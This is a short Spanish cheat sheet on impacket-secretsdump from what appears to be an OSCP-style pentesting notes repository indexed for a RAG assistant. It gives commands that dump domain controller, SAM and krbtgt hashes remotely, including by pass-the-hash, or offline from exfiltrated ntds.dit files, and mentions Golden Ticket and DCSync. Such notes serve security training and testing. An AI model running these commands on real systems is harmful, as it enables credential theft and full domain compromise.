hacklab/JARVIS

sito 7e06ce46cf saber: pack de metodologia publico (conocimiento/) + doc del RAG

El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.

2026-08-16 17:58:41 +02:00

845 B

Raw Permalink Blame History

secretsdump (NTDS.dit / SAM)

impacket-secretsdump vuelca todos los hashes del dominio (NTDS.dit) o de una máquina (SAM/SYSTEM), en remoto o desde ficheros. Parte de Impacket.

Remoto contra un DC

impacket-secretsdump dominio/usuario:password@DC_IP
impacket-secretsdump -hashes :NTLMHASH dominio/admin@DC_IP   # con Pass-the-Hash

Saca NTLM de todos los usuarios + el hash de krbtgt → Golden Ticket.

Offline (ficheros exfiltrados)

# exfiltras ntds.dit + SYSTEM con Transferencia de ficheros, luego:
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

SAM local de una máquina

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Cómo se obtienen permisos

Ser admin del DC, o derechos de replicación → DCSync.

Relacionado: Mimikatz · Active Directory · OSCP MOC